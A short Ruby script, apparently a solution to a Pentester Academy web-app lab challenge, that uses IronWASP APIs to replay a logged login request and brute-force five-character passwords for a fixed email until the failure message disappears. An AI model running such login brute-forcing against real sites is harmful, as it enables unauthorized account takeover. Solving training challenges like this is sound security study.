Ruby script written using IronWASP APIs to solve Pentester Academy's WAP Challenge -1. Link to challenge - http://www.pentesteracademy.com/video?id=153

WAP_Challenge_1_Solution_in_Ruby.rb

#Script to help solve http://www.pentesteracademy.com/video?id=153
#This script can be run from the multi-line scripting shell of IronWASP v0.9.7.2 and above
#Make sure the scripting shell language is selected as Ruby before executing
#The log id value here is one 1. The id value must point to the log containing the login request

r = Request.from_proxy_log(1)
r.query.set("email", "jack@pentesteracademy.com")

bf = BruteForcer.new("xyz", 5,5)
while bf.has_more
  password = bf.get_next
  r.query.set("password", password)
  res = r.send_req
  if not res.body_string.include? "Failed! Please try again!"
    puts "Password is - " + password
    break
  else
    puts password
  end
end